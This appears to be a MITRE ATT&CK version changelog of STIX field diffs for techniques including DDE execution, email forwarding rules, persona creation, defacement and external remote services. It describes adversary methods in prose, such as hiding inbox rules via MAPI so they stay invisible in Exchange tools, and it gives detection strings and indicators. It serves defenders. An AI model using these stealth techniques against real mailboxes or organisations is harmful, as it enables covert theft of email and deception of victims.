| x_mitre_detection | Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe). OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017) | Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe). OLE, Office Open XML, CSV, and other files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection ) |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CSV Excel Macro Injection ', 'description': ' Ishaq Mohammed . (2021, January 10). Everything about CSV Injection and CSV Excel Macro Injection. Retrieved February 7, 2022.', 'url': 'https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/'} | |
| external_references | {'source_name': 'Fireeye Hunting COM June 2019', 'description': 'Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html'} | |
| external_references | {'source_name': 'NVisio Labs DDE Detection Oct 2017', 'description': 'NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.', 'url': 'https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/'} |
Current version: 2.3
Version changed from: 2.1 → 2.3
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 18:31:06.417000+00:00 | 2021-10-15 20:19:33.750000+00:00 |
| x_mitre_data_sources[0] | Office 365 trace logs | Command: Command Execution |
| x_mitre_data_sources[1] | Mail server | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Email gateway | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[3] | Authentication logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[4] | File monitoring | File: File Access |
| x_mitre_version | 2.1 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | macOS | |
| x_mitre_platforms | Linux |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process use of network |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may setup email forwarding rules to collect sens | t | 1 | Adversaries may setup email forwarding rules to collect sens |
| > | itive information. Adversaries may abuse email-forwarding ru | > | itive information. Adversaries may abuse email-forwarding ru | ||
| > | les to monitor the activities of a victim, steal information | > | les to monitor the activities of a victim, steal information | ||
| > | , and further gain intelligence on the victim or the victim’ | > | , and further gain intelligence on the victim or the victim’ | ||
| > | s organization to use as part of further exploits or operati | > | s organization to use as part of further exploits or operati | ||
| > | ons.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook W | > | ons.(Citation: US-CERT TA18-068A 2018) Furthermore, email fo | ||
| > | eb App (OWA) allow users to create inbox rules for various e | > | rwarding rules can allow adversaries to maintain persistent | ||
| > | mail functions, including forwarding to a different recipien | > | access to victim's emails even after compromised credentials | ||
| > | t. Messages can be forwarded to internal or external recipie | > | are reset by administrators.(Citation: Pfammatter - Hidden | ||
| > | nts, and there are no restrictions limiting the extent of th | > | Inbox Rules) Most email clients allow users to create inbox | ||
| > | is rule. Administrators may also create forwarding rules for | > | rules for various email functions, including forwarding to a | ||
| > | user accounts with the same considerations and outcomes.(Ci | > | different recipient. These rules may be created through a l | ||
| > | tation: Microsoft Tim McMichael Exchange Mail Forwarding 2) | > | ocal email application, a web interface, or by command-line | ||
| > | Any user or administrator within the organization (or adve | > | interface. Messages can be forwarded to internal or external | ||
| > | rsary with valid credentials) can create rules to automatica | > | recipients, and there are no restrictions limiting the exte | ||
| > | lly forward all received messages to another recipient, forw | > | nt of this rule. Administrators may also create forwarding r | ||
| > | ard emails to different locations based on the sender, and m | > | ules for user accounts with the same considerations and outc | ||
| > | ore. | > | omes.(Citation: Microsoft Tim McMichael Exchange Mail Forwar | ||
| > | ding 2)(Citation: Mac Forwarding Rules) Any user or adminis | ||||
| > | trator within the organization (or adversary with valid cred | ||||
| > | entials) can create rules to automatically forward all recei | ||||
| > | ved messages to another recipient, forward emails to differe | ||||
| > | nt locations based on the sender, and more. Adversaries may | ||||
| > | also hide the rule by making use of the Microsoft Messaging | ||||
| > | API (MAPI) to modify the rule properties, making it hidden a | ||||
| > | nd not visible from Outlook, OWA or most Exchange Administra | ||||
| > | tion tools.(Citation: Pfammatter - Hidden Inbox Rules) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 22:43:45.509000+00:00 | 2021-10-15 20:19:33.416000+00:00 |
| description | Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. | Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules) Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules) |
| external_references[2]['source_name'] | Microsoft Tim McMichael Exchange Mail Forwarding 2 | Pfammatter - Hidden Inbox Rules |
| external_references[2]['description'] | McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019. | Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021. |
| external_references[2]['url'] | https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/ | https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/ |
| x_mitre_data_sources[0] | Process use of network | Application Log: Application Log Content |
| x_mitre_detection | Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level. | Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules) Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level. |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Tim McMichael Exchange Mail Forwarding 2', 'description': 'McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.', 'url': 'https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/'} | |
| external_references | {'source_name': 'Mac Forwarding Rules', 'description': 'Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.', 'url': 'https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac'} | |
| x_mitre_contributors | Microsoft Security | |
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | macOS | |
| x_mitre_platforms | Linux |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Email gateway | |
| x_mitre_data_sources | Mail server | |
| x_mitre_data_sources | Office 365 trace logs |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may create and cul | t | 1 | Adversaries may create and cultivate accounts with services |
| > | tivate accounts with services that can be used during target | > | that can be used during targeting. Adversaries can create ac | ||
| > | ing. Adversaries can create accounts that can be used to bui | > | counts that can be used to build a persona to further operat | ||
| > | ld a persona to further operations. Persona development cons | > | ions. Persona development consists of the development of pub | ||
| > | ists of the development of public information, presence, his | > | lic information, presence, history and appropriate affiliati | ||
| > | tory and appropriate affiliations. This development could be | > | ons. This development could be applied to social media, webs | ||
| > | applied to social media, website, or other publicly availab | > | ite, or other publicly available information that could be r | ||
| > | le information that could be referenced and scrutinized for | > | eferenced and scrutinized for legitimacy over the course of | ||
| > | legitimacy over the course of an operation using that person | > | an operation using that persona or identity.(Citation: NEWSC | ||
| > | a or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatR | > | ASTER2014)(Citation: BlackHatRobinSage) For operations inco | ||
| > | obinSage) For operations incorporating social engineering, | > | rporating social engineering, the utilization of an online p | ||
| > | the utilization of an online persona may be important. These | > | ersona may be important. These personas may be fictitious or | ||
| > | personas may be fictitious or impersonate real people. The | > | impersonate real people. The persona may exist on a single | ||
| > | persona may exist on a single site or across multiple sites | > | site or across multiple sites (ex: Facebook, LinkedIn, Twitt | ||
| > | (ex: Facebook, LinkedIn, Twitter, Google, etc.). Establishin | > | er, Google, GitHub, Docker Hub, etc.). Establishing a person | ||
| > | g a persona may require development of additional documentat | > | a may require development of additional documentation to mak | ||
| > | ion to make them seem real. This could include filling out p | > | e them seem real. This could include filling out profile inf | ||
| > | rofile information, developing social networks, or incorpora | > | ormation, developing social networks, or incorporating photo | ||
| > | ting photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRob | > | s.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) E | ||
| > | inSage) Establishing accounts can also include the creation | > | stablishing accounts can also include the creation of accoun | ||
| > | of accounts with email providers, which may be directly lev | > | ts with email providers, which may be directly leveraged for | ||
| > | eraged for [Phishing for Information](https://attack.mitre.o | > | [Phishing for Information](https://attack.mitre.org/techniq | ||
| > | rg/techniques/T1598) or [Phishing](https://attack.mitre.org/ | > | ues/T1598) or [Phishing](https://attack.mitre.org/techniques | ||
| > | techniques/T1566).(Citation: Mandiant APT1) | > | /T1566).(Citation: Mandiant APT1) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:20:40.675000+00:00 | 2021-10-16 17:35:59.386000+00:00 |
| description | Before compromising a victim, adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) | Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) |
| x_mitre_data_sources[0] | Social media monitoring | Persona: Social Media |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
Current version: 1.4
Version changed from: 1.1 → 1.4
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 19:06:02.690000+00:00 | 2022-04-18 18:48:06.141000+00:00 |
| x_mitre_data_sources[0] | Anti-virus | Application Log: Application Log Content |
| x_mitre_data_sources[1] | System calls | Process: Process Creation |
| x_mitre_remote_support | True | False |
| x_mitre_version | 1.1 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring |
Current version: 1.4
Version changed from: 1.1 → 1.4
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 18:51:01.070000+00:00 | 2022-04-28 16:06:49.447000+00:00 |
| external_references[1]['source_name'] | Technet MS14-068 | ADSecurity Detecting Forged Tickets |
| external_references[1]['description'] | Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015. | Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015. |
| external_references[1]['url'] | https://technet.microsoft.com/en-us/library/security/ms14-068.aspx | https://adsecurity.org/?p=1515 |
| external_references[2]['source_name'] | ADSecurity Detecting Forged Tickets | Technet MS14-068 |
| external_references[2]['description'] | Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015. | Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015. |
| external_references[2]['url'] | https://adsecurity.org/?p=1515 | https://technet.microsoft.com/en-us/library/security/ms14-068.aspx |
| x_mitre_data_sources[0] | Authentication logs | Process: Process Creation |
| x_mitre_data_sources[1] | Windows Error Reporting | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Process monitoring | User Account: User Account Authentication |
| x_mitre_version | 1.1 | 1.4 |
Current version: 1.3
Version changed from: 1.1 → 1.3
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 20:00:46.900000+00:00 | 2022-04-28 16:10:16.632000+00:00 |
| x_mitre_data_sources[0] | Windows Error Reporting | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Application Log: Application Log Content |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may deface systems external to an organization | t | 1 | An adversary may deface systems external to an organization |
| > | in an attempt to deliver messaging, intimidate, or otherwise | > | in an attempt to deliver messaging, intimidate, or otherwise | ||
| > | mislead an organization or users. Externally-facing website | > | mislead an organization or users. [External Defacement](htt | ||
| > | s are a common victim of defacement; often targeted by adver | > | ps://attack.mitre.org/techniques/T1491/002) may ultimately c | ||
| > | sary and hacktivist groups in order to push a political mess | > | ause users to distrust the systems and to question/discredit | ||
| > | age or spread propaganda.(Citation: FireEye Cyber Threats to | > | the system’s integrity. Externally-facing websites are a co | ||
| > | Media Industries)(Citation: Kevin Mandia Statement to US Se | > | mmon victim of defacement; often targeted by adversary and h | ||
| > | nate Committee on Intelligence)(Citation: Anonymous Hackers | > | acktivist groups in order to push a political message or spr | ||
| > | Deface Russian Govt Site) [External Defacement](https://atta | > | ead propaganda.(Citation: FireEye Cyber Threats to Media Ind | ||
| > | ck.mitre.org/techniques/T1491/002) may be used as a catalyst | > | ustries)(Citation: Kevin Mandia Statement to US Senate Commi | ||
| > | to trigger events, or as a response to actions taken by an | > | ttee on Intelligence)(Citation: Anonymous Hackers Deface Rus | ||
| > | organization or government. Similarly, website defacement ma | > | sian Govt Site) [External Defacement](https://attack.mitre.o | ||
| > | y also be used as setup, or a precursor, for future attacks | > | rg/techniques/T1491/002) may be used as a catalyst to trigge | ||
| > | such as [Drive-by Compromise](https://attack.mitre.org/techn | > | r events, or as a response to actions taken by an organizati | ||
| > | iques/T1189).(Citation: Trend Micro Deep Dive Into Defacemen | > | on or government. Similarly, website defacement may also be | ||
| > | t) | > | used as setup, or a precursor, for future attacks such as [D | ||
| > | rive-by Compromise](https://attack.mitre.org/techniques/T118 | ||||
| > | 9).(Citation: Trend Micro Deep Dive Into Defacement) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-22 15:19:31.380000+00:00 | 2022-03-25 19:34:37.539000+00:00 |
| description | An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement) | An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement) |
| x_mitre_data_sources[0] | Web logs | File: File Creation |
| x_mitre_data_sources[1] | Web application firewall logs | File: File Modification |
| x_mitre_data_sources[2] | Packet capture | Application Log: Application Log Content |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 2.3
Version changed from: 2.1 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage external-facing remote services to | t | 1 | Adversaries may leverage external-facing remote services to |
| > | initially access and/or persist within a network. Remote ser | > | initially access and/or persist within a network. Remote ser | ||
| > | vices such as VPNs, Citrix, and other access mechanisms allo | > | vices such as VPNs, Citrix, and other access mechanisms allo | ||
| > | w users to connect to internal enterprise network resources | > | w users to connect to internal enterprise network resources | ||
| > | from external locations. There are often remote service gate | > | from external locations. There are often remote service gate | ||
| > | ways that manage connections and credential authentication f | > | ways that manage connections and credential authentication f | ||
| > | or these services. Services such as [Windows Remote Manageme | > | or these services. Services such as [Windows Remote Manageme | ||
| > | nt](https://attack.mitre.org/techniques/T1021/006) can also | > | nt](https://attack.mitre.org/techniques/T1021/006) and [VNC] | ||
| > | be used externally. Access to [Valid Accounts](https://atta | > | (https://attack.mitre.org/techniques/T1021/005) can also be | ||
| > | ck.mitre.org/techniques/T1078) to use the service is often a | > | used externally.(Citation: MacOS VNC software for Remote Des | ||
| > | requirement, which could be obtained through credential pha | > | ktop) Access to [Valid Accounts](https://attack.mitre.org/t | ||
| > | rming or by obtaining the credentials from users after compr | > | echniques/T1078) to use the service is often a requirement, | ||
| > | omising the enterprise network.(Citation: Volexity Virtual P | > | which could be obtained through credential pharming or by ob | ||
| > | rivate Keylogging) Access to remote services may be used as | > | taining the credentials from users after compromising the en | ||
| > | a redundant or persistent access mechanism during an operati | > | terprise network.(Citation: Volexity Virtual Private Keylogg | ||
| > | on. | > | ing) Access to remote services may be used as a redundant or | ||
| > | persistent access mechanism during an operation. Access ma | ||||
| > | y also be gained through an exposed service that doesn’t req | ||||
| > | uire authentication. In containerized environments, this may | ||||
| > | include an exposed Docker API, Kubernetes API server, kubel | ||||
| > | et, or web application such as the Kubernetes dashboard.(Cit | ||||
| > | ation: Trend Micro Exposed Docker Server)(Citation: Unit 42 | ||||
| > | Hildegard Malware) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-19 20:07:09.600000+00:00 | 2021-08-19 16:57:27.209000+00:00 |
| description | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) can also be used externally. Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware) |
| external_references[2]['source_name'] | Volexity Virtual Private Keylogging | MacOS VNC software for Remote Desktop |
| external_references[2]['description'] | Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017. | Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021. |
| external_references[2]['url'] | https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/ | https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac |
| x_mitre_data_sources[0] | Authentication logs | Application Log: Application Log Content |
| x_mitre_detection | Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours. | Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours. When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application. |
| x_mitre_version | 2.1 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Volexity Virtual Private Keylogging', 'description': 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.', 'url': 'https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/'} | |
| external_references | {'source_name': 'Trend Micro Exposed Docker Server', 'description': 'Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html'} | |
| external_references | {'source_name': 'Unit 42 Hildegard Malware', 'description': 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.', 'url': 'https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/'} | |
| x_mitre_contributors | ExtraHop | |
| x_mitre_contributors | David Fiser, @anu4is, Trend Micro | |
| x_mitre_contributors | Alfredo Oliveira, Trend Micro | |
| x_mitre_contributors | Idan Frimark, Cisco | |
| x_mitre_contributors | Rory McCune, Aqua Security | |
| x_mitre_contributors | Yuval Avrahami, Palo Alto Networks | |
| x_mitre_contributors | Jay Chen, Palo Alto Networks | |
| x_mitre_contributors | Brad Geesaman, @bradgeesaman | |
